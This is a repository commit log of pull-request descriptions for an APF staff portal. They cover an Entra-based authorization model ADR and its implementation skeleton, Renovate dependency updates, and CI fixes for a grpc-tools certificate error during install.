- **Why `user.id` and `user.personId` placeholder to `entraOid`.** Same logic: the real UUIDs land with the `Person` + `User` Prisma schema (proposed ADR-0026). Until then, populating both fields with `entraOid` lets consumers key on `principal.user.id` today and get a real value later without branching on availability. The seam is one place (in the builder), not 24 guards.

- **Why session.types.ts carries both `user` and `principal`.** Additive instead of replacement: the audit module + the AI-bridge controller key on `user.oid` / `user.tid` directly, and migrating them in the same PR would balloon the diff for zero behavioural benefit. New consumers (`@RequirePrivilege` / `@RequireRole` / `@RequireScope` decorators, next PR) reach for `principal`.

- **Map file fails soft on absence, hard on malformation.** Path unset OR file missing → empty resolver + WARN. Sign-in still succeeds, every user gets `roles: []`. This is deliberately fail-soft so a fresh dev environment isn't blocked by an Entra-side dependency. **Bad JSON / unknown slug / duplicate GUID → throws at boot.** The alternative would silently mis-resolve a role.

- **Why `boot-time` validation only (no per-request)** for the map file. Catalogue drift is detected once at boot; per-request validation would re-read the file from disk on every sign-in. The trade-off is that a hot-edit to the file requires a BFF restart — acceptable because the file changes once per tenant lifecycle, not per session.

- **Entra `groups` claim must be activated** on the BFF's app registration before this code does anything useful. The runbook in `notes/entra-groups-claim-activation.md` walks through the steps; if the claim isn't activated, every user signs in with `principal.roles = []` and a future warn for every group GUID that would have arrived (none, in that case).

- **No drift gate yet.** ADR-0025's §"Confirmation" §346 calls for an ESLint custom rule (or `pnpm run` script) that greps every `@RequireRole('...')` literal and asserts membership in the catalogue. That's the third PR in the phasing — there's no `@RequireRole` consumer in the tree yet, so the gate would have nothing to assert against today.

## Test plan

- [x] `pnpm nx affected -t lint test build --base=main` — 13 projects green
  - 497 BFF tests (was 465 — added 4 new `groups`-claim tests in `auth.service.spec.ts`, 1 new test in `session-establisher.service.spec.ts`, 6 new tests in `load-entra-group-map.spec.ts`, 24 new tests in `principal-builder.spec.ts`)
  - 17 `shared-auth` tests (catalogue counts + resolver contracts)
  - 1 `shared-util` test (unchanged)
  - full lint + full build
- [x] `pnpm nx format:check` — clean after `pnpm nx format:write`
- [x] Manual: `tsc --build libs/shared/auth/tsconfig.lib.json` emits `.d.ts` files at the path `portal-bff`'s webpack expects.
- [ ] **Review focus** — the closed catalogues (`PRIVILEGES`, `FUNCTIONAL_ROLES`, `SCOPE_KINDS`) verbatim match ADR-0025; the 19 personas verbatim match `notes/test-tenant-role-assignments.md`; the `Principal` shape matches the ADR §"Principal shape" (modulo the `user.id` / `personId` placeholder); fail-soft on missing map file, hard on malformed.
- [ ] **After merge — operator step** : activate the Entra `groups` claim per `notes/entra-groups-claim-activation.md` and drop the real GUIDs into `infra/test-tenant.entra.json` (gitignored). Then a sign-in with `admin@apfrd.onmicrosoft.com` should land `principal.privileges = ['Portal.Admin']` and `principal.roles = ['collaborateur', 'rh']` in Redis.

## What's next

Per ADR-0025 §"More Information" phasing:

1.  **This PR** — types + Principal builder + group-to-role mapping skeleton.
2. **Next PR** — `@RequirePrivilege` + `@RequireRole` + `@RequireScope` decorators + guard integration tests against the 19 personas.
3. **PR after that** — drift CI gate (ESLint custom rule asserting every `@RequireX('...')` literal is in the catalogue).
4. **Depends on ADR-0026** — `user_scopes` Prisma table + seed + `PrismaScopeResolver` replacing `StubScopeResolver`.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #206
2026-05-23 21:09:13 +02:00
julien c9a1e195fe docs(adr-0025): promote to accepted + sync persona matrix with test tenant (#205)
CI / check (push) Successful in 2m0s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m54s
CI / a11y (push) Successful in 1m44s
CI / perf (push) Successful in 3m49s
Docs site / build (push) Successful in 2m45s
## Summary

ADR-0025 was merged as `proposed` in #201. The test tenant (`apfrd.onmicrosoft.com`) has since been provisioned with the full role / user matrix — 4 privileges + 24 security groups + 19 users with all assignments per the persona table. The ADR is now the implementation reference, so this PR:

1. Promotes the ADR from `proposed` to `accepted`.
2. Syncs the document with what is actually in place — the privilege catalogue grows from 1 to 4 entries (the previously "anticipated future" privileges that the test tenant already has), and the persona matrix grows from 10 to 19 entries (so every one of the 24 functional-role groups has at least one member, closing the gap that prompted `notes/test-tenant-role-assignments.md` and `notes/entra-group-members.md`).
3. Records the Entra app-role GUIDs in a new "Provisioned in the test tenant" subsection for traceability — the GUIDs are stable IDs the implementation will need.
4. Updates the index + the `CLAUDE.md` roll-up.

No code changes. No implementation skeleton — that lands in the next PR (proposed: `feat(libs/feature/auth): authorization types + Principal builder skeleton`).

## What lands

| File | Change |
|---|---|
| `docs/decisions/0025-authorization-model-privileges-roles-scopes.md` | Frontmatter `status: proposed → accepted`; privilege catalogue extended from 1 to 4 entries; persona matrix rewritten from 10 to 19 entries; new `Provisioned in the test tenant (2026-05-20)` subsection capturing the four app-role GUIDs. |
| `docs/decisions/README.md` | 0025 row: `proposed → accepted`. |
| `CLAUDE.md` | Roll-up `0001 → 0024 accepted` → `0001 → 0025 accepted`; Architecture list grows an "Authorization model" bullet. |

The two operator-facing notes files (`notes/test-tenant-role-assignments.md`, `notes/entra-group-members.md`) are gitignored and unchanged — they served their purpose during tenant provisioning and remain as runbooks.

## Notes for the reviewer

- **Why promote now rather than couple with the first implementation PR (the pattern from #194#195#196).** The Entra-side provisioning *is* the implementation for this ADR — the next PR is a portal-side reflection of decisions that are already concrete in the tenant. Promoting now keeps the document honest about what the test tenant runs against.
- **Why all 4 privileges enter the v1 catalogue.** The ADR originally shipped `Portal.Admin` as the sole v1 entry and listed the other three under "anticipated near-future entries". The test tenant has all four; the catalogue should match. The three new entries are explicitly marked "provisioned; consumer surface deferred" so a reader does not look for non-existent surfaces.
- **Why 19 personas, not the cleaner 24 (one per role).** Several APF jobs genuinely combine multiple roles (RH siège often handles paie + compta; DPO often wears the quality officer hat; local delegates often grow out of volunteer roles). Densifying these existing personas is more faithful to real APF org structure than inventing 14 single-role test users. Distinct personas were created where the *scenario* is distinct (scope variations, governance positions) — see the matrix in the ADR for the breakdown.
- **Why `apf-role-partenaire` stays empty in v1.** Placeholder per the original ADR; no consuming surface to test against. The group exists in Entra so the schema is locked, but a user assignment without a guard to exercise would be theatre. The first partner-facing feature adds the user.
- **GUIDs in the ADR.** The four app-role GUIDs are repo-stable identifiers; recording them in the ADR keeps the document self-sufficient when a future contributor opens it without access to the Entra portal. The 24 functional-role group GUIDs are tenant-specific and stay in a gitignored `infra/test-tenant.entra.json` once the implementation PR creates it — referenced by name only in `libs/feature/auth/src/lib/entra-group-to-role.ts`.
- **No `prettier --write` damage.** The persona matrix is a wide table; Prettier sometimes reflows wide markdown tables. The diff is clean — Prettier left the table intact on this run.

## Test plan

- [x] `prettier --check docs/decisions/0025-authorization-model-privileges-roles-scopes.md` — passes (hook ran on commit).
- [x] Markdown links inside the ADR still resolve (`0020`, references to other ADRs unchanged).
- [x] Status row in `docs/decisions/README.md` reflects `accepted`.
- [x] `CLAUDE.md` roll-up line + Architecture list updated; no other instances of "0024" needed bumping.
- [ ] **Review focus** — the expanded privilege catalogue (4 entries, one of them already had a guard, three new ones documented), the 19-entry persona matrix, the "Provisioned in the test tenant" subsection (especially the GUIDs — make sure none was mistyped from `notes/role-user.txt`).

## What's next

With ADR-0025 accepted, the implementation phasing recorded in its `§More Information` opens:

1. **PR — `libs/feature/auth` extension** : `authorization.types.ts` (catalogue constants for the 4 privileges + 24 functional roles + 6 scope kinds), `entra-group-to-role.ts` (slug map skeleton with placeholder GUIDs ; the operator drops real GUIDs into `infra/test-tenant.entra.json` separately), `Principal` builder hook on the OIDC callback, no new guards yet.
2. **PR — `@RequireRole` + `@RequireScope` decorators + guard tests** : real composition tests against the 19 personas.
3. **PR — drift CI gate** : ESLint custom rule asserting every `@RequireRole('...')` literal in code is in the catalogue.
4. **PR — `prisma/seed.ts` for `user_scopes`** : depends on the `Person` + `User` schema (proposed ADR-0026).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #205
2026-05-23 17:42:57 +02:00
APF Portal Bot 82d4245ab7 chore(deps): update analog monorepo to v2.5.2 (#203)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m33s
CI / a11y (push) Successful in 2m11s
CI / check (push) Successful in 5m3s
CI / perf (push) Successful in 5m58s
Docs site / build (push) Successful in 2m40s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@analogjs/vite-plugin-angular](https://github.com/analogjs/analog) | devDependencies | patch | [`2.5.1` -> `2.5.2`](https://renovatebot.com/diffs/npm/@analogjs%2fvite-plugin-angular/2.5.1/2.5.2) |
| [@analogjs/vitest-angular](https://analogjs.org) ([source](https://github.com/analogjs/analog)) | devDependencies | patch | [`2.5.1` -> `2.5.2`](https://renovatebot.com/diffs/npm/@analogjs%2fvitest-angular/2.5.1/2.5.2) |

---

### Release Notes

<details>
<summary>analogjs/analog (@&#8203;analogjs/vite-plugin-angular)</summary>

### [`v2.5.2`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#252-2026-05-22)

[Compare Source](https://github.com/analogjs/analog/compare/v2.5.1...v2.5.2)

##### Bug Fixes

- **storybook-angular:** support Storybook 10.4+ object-shaped core preset ([#&#8203;2337](https://github.com/analogjs/analog/issues/2337)) ([1956794](https://github.com/analogjs/analog/commit/1956794ce6bb0b15d5aacf53a81b22469bb568a7))
- **vite-plugin-angular:** compose fastCompile JIT strip map and cover esbuild fallback ([#&#8203;2341](https://github.com/analogjs/analog/issues/2341)) ([532aa3e](https://github.com/analogjs/analog/commit/532aa3e0ff239175ead36d57278a243022492f0c))
- **vite-plugin-angular:** reject [@&#8203;Service](https://github.com/Service) on Angular below 22 ([bc63520](https://github.com/analogjs/analog/commit/bc63520720dd983d6ae8e2dcd6a936efe6168625))
- **vite-plugin-angular:** skip source .d.ts files for composite TS projects ([#&#8203;2335](https://github.com/analogjs/analog/issues/2335)) ([96ec5b3](https://github.com/analogjs/analog/commit/96ec5b38c030aa36009be2c6f0d9c5be342aa351))
- **vite-plugin-angular:** strip TS in fastCompile JIT path for StackBlitz ([#&#8203;2340](https://github.com/analogjs/analog/issues/2340)) ([44e6334](https://github.com/analogjs/analog/commit/44e6334cd9add9187fab6f5007e0b43361a9d84c))
- **vite-plugin-angular:** support the [@&#8203;Service](https://github.com/Service) decorator in the fast compiler ([b284696](https://github.com/analogjs/analog/commit/b284696088faa4e65f572eb83708329b6eed3f79))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/203
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-22 11:35:19 +02:00
APF Portal Bot 2b93710eaa chore(deps): update dependency vite to v8.0.14 (#202)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m50s
CI / a11y (push) Successful in 1m48s
CI / check (push) Successful in 3m58s
CI / perf (push) Successful in 4m50s
Docs site / build (push) Successful in 2m35s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.13` -> `8.0.14`](https://renovatebot.com/diffs/npm/vite/8.0.13/8.0.14) |

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

### [`v8.0.14`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8014-2026-05-21-small)

[Compare Source](https://github.com/vitejs/vite/compare/v8.0.13...v8.0.14)

##### Features

- update rolldown to 1.0.2 ([#&#8203;22484](https://github.com/vitejs/vite/issues/22484)) ([96efc88](https://github.com/vitejs/vite/commit/96efc88570b6a6ddf1a910f106920cbac07b3cf0))

##### Bug Fixes

- **deps:** update all non-major dependencies ([#&#8203;22471](https://github.com/vitejs/vite/issues/22471)) ([98b8163](https://github.com/vitejs/vite/commit/98b81632139d51820f82036e58d6fbbf122b77b3))
- **dev:** handle errors when sending messages to vite server ([#&#8203;22450](https://github.com/vitejs/vite/issues/22450)) ([e8e9a34](https://github.com/vitejs/vite/commit/e8e9a34dcf2540139de558a10187630884d10217))
- **html:** handle trailing slash paths in transformIndexHtml ([#&#8203;22480](https://github.com/vitejs/vite/issues/22480)) ([5d94d1b](https://github.com/vitejs/vite/commit/5d94d1bffdb2a15de9341194d89baec86ce1f693))
- **optimizer:** pass oxc jsx options to transformSync in dependency scan                                                            ([#&#8203;22342](https://github.com/vitejs/vite/issues/22342)) ([b3132da](https://github.com/vitejs/vite/commit/b3132dacea9c6e0cf526cd9f0f09d850f577c262))

##### Miscellaneous Chores

- **deps:** update rolldown-related dependencies ([#&#8203;22470](https://github.com/vitejs/vite/issues/22470)) ([7cb728e](https://github.com/vitejs/vite/commit/7cb728eb629cc677661f1bc52a044ffc0b87fc7f))
- remove irrelevant commits from changelog ([2c69495](https://github.com/vitejs/vite/commit/2c69495f250edf01132d4a20128de19dbe836086))

##### Code Refactoring

- **glob:** do not rewrite import path for absolute base ([#&#8203;22310](https://github.com/vitejs/vite/issues/22310)) ([0ae2844](https://github.com/vitejs/vite/commit/0ae2844ab6d6d1ccf78a2975b8132769fc35b302))

##### Tests

- **css:** sass does not use main field ([#&#8203;22449](https://github.com/vitejs/vite/issues/22449)) ([ebf39a0](https://github.com/vitejs/vite/commit/ebf39a04329ddc6ba765e006a5d463680a952270))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/202
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-21 10:31:55 +02:00
julien ef5073de8a docs(adr-0025): authorization model — privileges × roles × scopes (#201)
CI / scan (push) Successful in 2m32s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m5s
CI / a11y (push) Successful in 8m51s
CI / perf (push) Successful in 10m47s
Docs site / build (push) Successful in 10m46s
## Summary

Proposes [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) — the portal's general-purpose authorization model. **Status: `proposed`.** No code in this PR; the goal is to lock the model and the v1 catalogues before the implementation chantier opens.

The model rejects stargate's linear hierarchy (`Admin ⊃ Directeur ⊃ RH ⊃ Collaborateur`) and adopts **three orthogonal axes**:

| Axis | What it carries | Source of truth |
|---|---|---|
| **Privileges** | Portal-level capabilities (`Portal.Admin`, future `Portal.Auditor`, …) | Entra app roles, `roles` claim |
| **Functional roles** | What someone does in APF (`rh`, `directeur-etablissement`, `elu-cd-tresorier`, …) | Entra security groups, `groups` claim → curated slug catalogue |
| **Scopes** | Where a role applies (`etablissement:0330800013`, `delegation:33`, `unrestricted`, …) | apf_portal-side `user_scopes` table (v1) ; future Pléiades feed |

The three axes compose at sign-in into a session-resident `Principal`. The portal's guards consume the structured shape; a deterministic projector flattens it to the `roles[]` list that `apf-ai-service` expects per [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md).

## What lands

- `docs/decisions/0025-authorization-model-privileges-roles-scopes.md` — full MADR with context, decision drivers, four considered options, exhaustive v1 catalogues, Entra-side configuration, `Principal` shape, AI-service projection, guard surface, ten test-tenant personas, consequences, confirmation criteria, pros/cons per option, ABAC migration path, related ADRs, and proposed follow-up ADRs.
- `docs/decisions/README.md` — index row for ADR-0025 (`proposed`, tags `security, backend, data`, 2026-05-20).

No `CLAUDE.md` update — ADR stays in `proposed` until reviewed; the accepted-ADRs roll-up at the top of `CLAUDE.md` stays at 0001 → 0024. Promotion to `accepted` lands in the same PR that ships the implementation skeleton (`libs/feature/auth` extension with `Principal` builder + catalogues).

## Highlights worth review focus

- **Privilege catalogue is intentionally minimal**: only `Portal.Admin` in v1. Anticipated future entries (`Portal.Auditor`, `Portal.SecurityOfficer`, `Portal.DPO`) are mentioned in the ADR but not formalised — each one rides an amendment ADR.
- **Functional-role catalogue is closed-set, 22 entries** grouped into workforce (15), governance (6), volunteer (2), external (1, placeholder). Adding a new slug requires an ADR amendment. The CI drift gate (proposed in §"Confirmation") asserts no orphan `@RequireRole('x')` literal in code.
- **Scope kinds are also closed-set**: `self`, `etablissement:<finess>`, `delegation:<dept>`, `region:<insee>`, `siege`, `unrestricted`. The `value` carriers are documented (FINESS code rather than internal `etablissement.id` because FINESS is stable across reorgs).
- **`Principal` shape** is the contract for everything downstream. Documented field-by-field. Built once at sign-in, persisted in the Redis session, refreshed on every authenticated request.
- **`PrincipalProjector` for the AI service** is mechanical: union of privileges + roles + scope-strings, no inclusive expansion. The projector is the only seam that knows about the flat shape; the rest of the portal never touches it.
- **Closed-vs-open catalogue trade-off** spelled out: the friction of "every new role rides an ADR amendment" is the price of "every slug in code is one a human approved". The drift CI gate enforces the discipline.
- **ABAC migration path** documented so a future contributor does not feel they must rewrite authorization to introduce a single Cedar/OPA-shaped rule.

## Test-tenant personas

The ADR proposes ten test users covering every interesting combination of the three axes. Table in §"Test-tenant personas" of the ADR; here's the summary the user can act on:

| Login | Privileges | Functional roles | Scopes |
|---|---|---|---|
| `admin@<tenant>` | `Portal.Admin` | `collaborateur`, `rh` | `unrestricted` |
| `directeur-bordeaux@<tenant>` | — | `directeur-etablissement`, `collaborateur` | `etablissement:0330800013` |
| `directeur-complexe@<tenant>` | — | `directeur-etablissement`, `collaborateur` | two `etablissement:*` scopes |
| `rh-aquitaine@<tenant>` | — | `rh`, `collaborateur` | `delegation:33` |
| `rh-siege@<tenant>` | — | `rh`, `responsable-paie`, `collaborateur` | `unrestricted` |
| `collab-simple@<tenant>` | — | `collaborateur` | `self` |
| `tresorier-bordeaux@<tenant>` | — | `elu-cd-tresorier`, `elu-cd` | `delegation:33` |
| `dpo@<tenant>` | — | `dpo`, `collaborateur` | `unrestricted` |
| `it@<tenant>` | — | `it`, `collaborateur` | `unrestricted` |
| `benevole-aquitaine@<tenant>` | — | `benevole`, `benevole-responsable` | `delegation:33` |

**Entra test-tenant setup the user needs to provision after acceptance**:

1. One app role: `Portal.Admin` (likely already there from the existing dev tenant; document the GUID in `apps/portal-bff/.env.test`).
2. **22 security groups**, one per functional-role slug in the catalogue: `apf-role-collaborateur`, `apf-role-chef-equipe`, `apf-role-chef-service`, `apf-role-directeur-etablissement`, `apf-role-directeur-territorial`, `apf-role-rh`, `apf-role-responsable-paie`, `apf-role-comptable`, `apf-role-juriste`, `apf-role-dpo`, `apf-role-rssi`, `apf-role-it`, `apf-role-formation`, `apf-role-qualite`, `apf-role-communication`, `apf-role-elu-ca`, `apf-role-elu-cd`, `apf-role-elu-cd-president`, `apf-role-elu-cd-tresorier`, `apf-role-elu-cd-secretaire`, `apf-role-delegue`, `apf-role-benevole`, `apf-role-benevole-responsable`, `apf-role-partenaire`.
3. The ten test users with the membership matrix above.
4. App registration manifest tweak: `groupMembershipClaims: 'SecurityGroup'` + `optionalClaims.idToken: [{ name: 'groups' }]` so the BFF sees the memberships in the ID token.

GUIDs and credentials stay in the operator's hands (out of git). When the user has provisioned the tenant, drop the GUIDs into `infra/test-tenant.entra.json` (gitignored) and the implementation PR wires `libs/feature/auth/src/lib/entra-group-to-role.ts` against them.

## Notes for the reviewer

- **Why not just extend stargate's `RoleMapper`.** The mapper's inclusive expansion (`Admin → [admin, directeur, rh, collaborateur]`) bakes in the wrong assumption — that roles form a chain. Reusing it would force every new role into the chain too. The three-axis model has no such forcing function.
- **Why `Person` is conspicuously absent here.** Authorization is keyed on the portal-side `User` account (Entra OID, session). The proposed `Person` + `User` split lands in a sibling ADR (proposed: ADR-0026) because the two decisions have different audiences — auth model is a backend/security concern; golden record is a data/domain concern. They will land in coordinated PRs.
- **Why FINESS rather than internal UUID for `etablissement:*` scopes.** FINESS codes are the canonical APF identifier for an établissement, stable across the internal-database churn (etablissement merges, reorgs, system migrations). Using the FINESS as the scope value means scope strings stay readable, debuggable, and stable when an établissement gets a new internal `id` after a Prisma migration.
- **Why no time-bound roles in v1.** APF does have interim assignments (acting Directeur for two months while the permanent one is on leave). The `user_scopes` table already has `expiresAt` to lay the groundwork; extending the *role* axis with time bounds is a future ADR amendment when a concrete use case lands.
- **Coordination with apf-ai-service.** The PrincipalProjector spec here matches exactly what `apf-ai-service`'s RBAC matrix tests expect (each chunk's ACL is a string-match against `Principal.roles[]`). The ADR explicitly notes that the projector is the only place that knows about the flat shape — keeping the AI-side contract honoured without polluting the portal-side guards.

## Test plan

- [x] `prettier --check docs/decisions/0025-authorization-model-privileges-roles-scopes.md` — passes (hook ran on commit).
- [x] Markdown links inside the ADR resolve (`0008`, `0009`, `0010`, `0011`, `0013`, `0020`, `0021`, `0024`, plus the proposed ADR-0026 / ADR-0027 placeholders).
- [x] Index row in `docs/decisions/README.md` follows the table's existing format.
- [x] No tag-vocabulary additions required — `security`, `backend`, `data` are all in the existing vocab.
- [ ] **Review focus** — the v1 catalogues (privileges + 22 functional roles + 6 scope kinds), the `Principal` shape, the projection contract for the AI service, and the ten test personas. Catalogue closures are deliberate; raising the lid requires an amendment so the v1 list deserves a careful pass.

## What's next (once accepted)

The implementation phasing recorded in the ADR's §"More Information":

1. **PR — types + Principal builder + Entra mapping skeleton**. Lands `libs/feature/auth/src/lib/authorization.types.ts` (catalogue constants), `entra-group-to-role.ts` (slug map), and the OIDC callback hook that extends `req.session.user` with `privileges` / `roles` / `scopes`. No new guards yet.
2. **PR — `@RequireRole` + `@RequireScope` decorators + guard tests**. Stub principal in unit tests; real session in e2e.
3. **PR — drift CI gate**. ESLint custom rule or `pnpm run` script: every `@RequireRole('...')` / `@RequirePrivilege('...')` / scope literal must exist in the catalogue constants.
4. **PR — test-tenant seed**. `prisma/seed.ts` populating the ten personas' `user_scopes` rows. Depends on the `Person` + `User` schema PR landing first.

In parallel, the user provisions the test tenant per the §"Test-tenant personas" instructions above.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #201
2026-05-20 18:42:45 +02:00
julien e389567a3c fix(ci): move grpc-tools to optionalDependencies (revert NODE_OPTIONS attempt) (#200)
CI / commits (push) Has been skipped
CI / check (push) Successful in 5m33s
CI / scan (push) Successful in 6m39s
CI / a11y (push) Successful in 4m16s
CI / perf (push) Successful in 7m25s
Docs site / build (push) Successful in 3m29s
## Summary

The `NODE_OPTIONS=--use-system-ca` workaround merged in #199 did not clear the CI install failure — the runner still rejects the TLS chain to `node-precompiled-binaries.grpc.io`. Either the runner's OS CA bundle is missing the same intermediate Node's bundled set is missing, or `--use-system-ca` does not propagate down to the `node-fetch@2` that `node-pre-gyp` uses. Without runner shell access the exact reason is not worth chasing.

Switch angle: **the protoc binary `grpc-tools` downloads is never used in CI**. The generated TypeScript stubs in `apps/portal-bff/src/grpc/gen/` are committed per [ADR-0024](docs/decisions/0024-ai-service-relay-grpc-sse-bridge.md) §"Sub-decision 3 — vendored protos", so CI only needs to type-check them; protoc only runs when a developer regenerates from `apps/portal-bff/src/grpc/proto/apf-ai/*.proto`.

This PR moves `grpc-tools` from `devDependencies` to `optionalDependencies`. Per pnpm semantics, when an optional dep's install (including postinstall) fails, pnpm logs a warning and the overall install completes. CI's `pnpm install --frozen-lockfile` therefore succeeds even when the binary cannot be fetched; developer machines (where TLS validates) install grpc-tools normally and `pnpm grpc:codegen` works unchanged.

## What lands

- `package.json` — `grpc-tools: "^1.13.0"` moves out of `devDependencies` and into a new `optionalDependencies` block. The entry in `pnpm.onlyBuiltDependencies` stays — it controls whether pnpm *attempts* the postinstall, not whether failure is fatal. Local installs (where TLS works) still run the postinstall and download the binary.
- `pnpm-lock.yaml` — refreshed; the lockfile reflects the new optional-dep classification. No version changes to anything else.
- `.gitea/workflows/ci.yml` — revert the workflow-level `env: NODE_OPTIONS: --use-system-ca` block added in #199. Did not help; left in place it would be a misleading "this is supposed to fix CI TLS" signpost.
- `.gitea/workflows/docs-site.yml` — same revert.

## Notes for the reviewer

- **Why `optionalDependencies` is the right primitive.** pnpm 10 documents the contract: a package listed in `optionalDependencies` is *attempted*; if the install fails for any reason (platform mismatch, postinstall script error, network failure), the failure is logged and the overall command continues. That maps exactly to what this PR needs: try in CI, fail gracefully, succeed locally.
- **Why not remove `grpc-tools` from `pnpm.onlyBuiltDependencies` instead.** Removing it from the allowlist tells pnpm not to even *try* the postinstall, which would also fix CI. But it would also break the developer workflow — locally, the protoc binary would never download, and `pnpm grpc:codegen` would fail. The dev would have to manually trigger the build (`pnpm approve-builds` then `pnpm rebuild grpc-tools`), or worse, devs would commit accidental `package.json` mutations from `approve-builds`. The `optionalDependencies` route keeps the local DX identical.
- **Why revert the workflow `env:` blocks.** They do not help here, and leaving them in place implies that `--use-system-ca` is the canonical fix for this class of failure — which it is *not*, at least not for this runner / this CDN. If a future native dep hits a similar wall and `--use-system-ca` *does* fix it for that case, the env var lands in a focused PR with a real validation. Carrying it now as a "maybe useful later" workaround is noise.
- **Codegen workflow on developer machines.** Unchanged. `pnpm install` runs the postinstall (TLS validates locally), the protoc binary lands in `node_modules/`, `pnpm grpc:codegen` regenerates stubs. The only visible difference is a one-line `WARN GET_RESOLVED_FROM_REGISTRY ...` if a contributor ever encounters the same TLS failure locally (e.g., on a corporate-proxied machine) — pnpm will mark grpc-tools as failed-optional and the rest of the install proceeds; the dev can then debug their own network without blocking the whole repo.
- **Idempotence with CI's `--frozen-lockfile`.** The lockfile change is small (re-classifies grpc-tools from `dev` to `optional`) and lands in this PR. After merge, CI runs against the new lockfile; no further coordination needed.

## Test plan

- [x] `pnpm install` locally — clean, grpc-tools postinstall runs successfully (TLS validates), protoc binary present.
- [x] `pnpm grpc:codegen` — regenerates the TypeScript stubs identically (no diff in `apps/portal-bff/src/grpc/gen/`).
- [x] `pnpm nx run-many -t lint test build -p portal-shell,portal-admin,portal-bff,shared-ui,shared-charts` — all five projects green.
- [ ] **CI green on this PR's first run.** The validation that matters: `pnpm install --frozen-lockfile` completes despite grpc-tools' postinstall failure; `ci:check` runs to completion.
- [ ] Spot-check of post-merge CI runs over the next few days to confirm the warning is recurring (expected) and the install never fails (the contract).

## What's next

- If the CI behaviour is what this PR predicts (warning instead of failure), no further action required.
- If `optionalDependencies` does not work as documented (highly unlikely, but possible if the pnpm version has a regression), the fallback is to drop `grpc-tools` from `pnpm.onlyBuiltDependencies` and add a small dev-onboarding note. One-line change away.
- Long-term cleanup: if a future PR migrates the codegen step to a Docker-based tool (`buf`, system protoc) the optional-dep entry can be removed entirely. Out of scope here.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #200
2026-05-20 15:06:25 +02:00
julien 219b7a2143 fix(ci): pass NODE_OPTIONS=--use-system-ca to clear grpc-tools tls install (#199)
CI / commits (push) Has been skipped
CI / check (push) Failing after 1m41s
CI / perf (push) Failing after 10s
CI / a11y (push) Failing after 1m33s
CI / scan (push) Failing after 1m52s
Docs site / build (push) Failing after 2m5s
## Summary

The CI runner fails `pnpm install --frozen-lockfile` since the AI-relay chantier added `grpc-tools` to the dep tree. The package's postinstall downloads a precompiled `protoc` archive from `node-precompiled-binaries.grpc.io`, and Node 24's bundled CA set cannot verify the TLS chain on the runner network path.

The fix follows the Node team's own remediation, surfaced verbatim in the error message:

> unable to verify the first certificate; if the root CA is installed locally, try running Node.js with `--use-system-ca`

Setting `NODE_OPTIONS=--use-system-ca` at the workflow `env:` block makes Node consult the OS CA store in addition to its bundled set. The runner image (`catthehacker/ubuntu:act-22.04` per [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md)) carries the standard Ubuntu `ca-certificates` bundle, which validates the chain.

## What lands

`.gitea/workflows/ci.yml`:

```yaml
env:
  NODE_OPTIONS: --use-system-ca
```

`.gitea/workflows/docs-site.yml`: same one-line block.

Both placed at workflow scope so every Node process (pnpm itself + every postinstall it spawns) inherits the option without per-step duplication.

No package.json change. No code change. No runner-image change.

## Notes for the reviewer

